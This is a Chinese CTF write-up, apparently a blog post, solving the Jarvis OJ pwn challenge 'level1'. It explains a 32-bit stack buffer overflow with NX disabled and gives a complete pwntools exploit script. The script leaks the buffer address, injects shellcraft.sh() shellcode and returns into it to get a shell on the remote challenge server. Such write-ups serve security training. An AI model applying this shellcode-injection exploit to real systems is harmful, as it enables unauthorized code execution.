Jarvis OJ level1题解

题目网址https://www.jarvisoj.com/challenges
Pwn区level1题
首先把文件放入gdb中用checksec分析
在这里插入图片描述
分析发现,没有开启NX保护,说明文件内没有包含system(‘/bin/sh’),说明本题需要自己去构造shellcode。NX保护未开启表示着你输入的东西可执行,所以你需要构造shellcode填充数据,然后利用返回地址再次返回这个变量,就可以执行这个变量里面的内容。
PWN-shellcode获取与编写可以参考一下这个博客

该文件为32位的,这个可以自己丢进IDA试一下,不同位数的文件执行只能在相应位数的IDA中,丢入IDA,找到main函数,然后F5生成伪代码
在这里插入图片描述
观察后发现这个页面没有可利用的东西,然后进入function()函数
在这里插入图片描述
这时候发现了问题,read函数能允许你输入0x100(32位)数据,双击buf后观察发现buf距离返回地址只有0x88
在这里插入图片描述
所以存在了栈溢出
0x88+0x4就到达了返回地址。现在我们知道了payload的大小了
payload=shellcode+padding+bp+ret。其中shellcode+padding的大小为0x88
bp为0x4,返回地址就是buf的地址。现在需要找buf的地址了
再次回来伪代码这里
在这里插入图片描述
观察可发现printf函数获得了一次buf的地址,我们可以在这里接收buf的地址下面就附上完整的exp脚本

  1 from pwn import *#pwn工具包
  2 
  3 context.log_level = 'DEBUG'#日志,方便观察
  4 p = remote('pwn2.jarvisoj.com','9877')#远程连接
  5 #p = process(本机文件地址,如'./level1')
  6 p.recvuntil('this:')#接收到这个暂停,后面就是%p,是buf的地址
  7 buf_addr = int(p.recvuntil('?',drop=True),16)这里接收buf的地址
  8 payload = asm(shellcraft.sh()).ljust(0x88,'\x90')#这里插入shellcode,
  #这是pwn工具包自带的shellcode制作函数shellcraft.sh(),后面的ljust自行百度
  #用asm转换成汇编代码
  9 payload += 'a'*4 + p32(buf_addr)#payload=shellcode+padding+bp+ret
 10 print p32(buf_addr)#p32是因为这是32位的文件,把buf_addr的内容转换成32位的包
 11 print p.send(payload)
 12 #两次的print是为了方便观察
 13 p.interactive()#与终端互动
 #成功后即可使用ls查看文件,发现有一个flag文件,然后使用cat flag打开文件得到flag

感谢借鉴,欢迎各位评论纠正或者问问题。
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值